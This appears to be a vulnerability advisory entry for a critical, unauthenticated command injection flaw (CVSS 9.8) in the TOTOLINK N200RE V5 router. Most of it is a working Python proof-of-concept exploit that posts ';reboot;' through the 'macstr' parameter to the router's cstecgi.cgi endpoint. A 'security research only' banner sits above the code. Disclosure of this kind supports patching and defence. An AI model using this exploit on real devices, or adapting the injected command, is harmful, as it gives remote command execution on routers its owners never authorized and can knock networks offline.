TOTOLINK N200RE V5 was discovered to contain a command injection vulnerability via the macstr and bandstr parameters in the formMapDelDevice function.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
TOTOLINK N200RE V5
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL
url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi"
# Vulnerable payload: Injecting a command to reboot (e.g., `reboot`) or create a file
# Injection happens in the 'macstr' parameter using a semicolon separator
payload = {
"topicurl": "setMapDelDevice",
"macstr": ";reboot;", # Malicious command injection
"bandstr": "2.4G"
}
try:
# Send the POST request to the vulnerable endpoint
response = requests.post(url, json=payload, timeout=10)
# Check response status
if response.status_code == 200:
print("[+] Payload sent successfully.")
print(f"[+] Response: {response.text}")
else:
print(f"[-] Failed to send payload. Status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] An error occurred: {e}")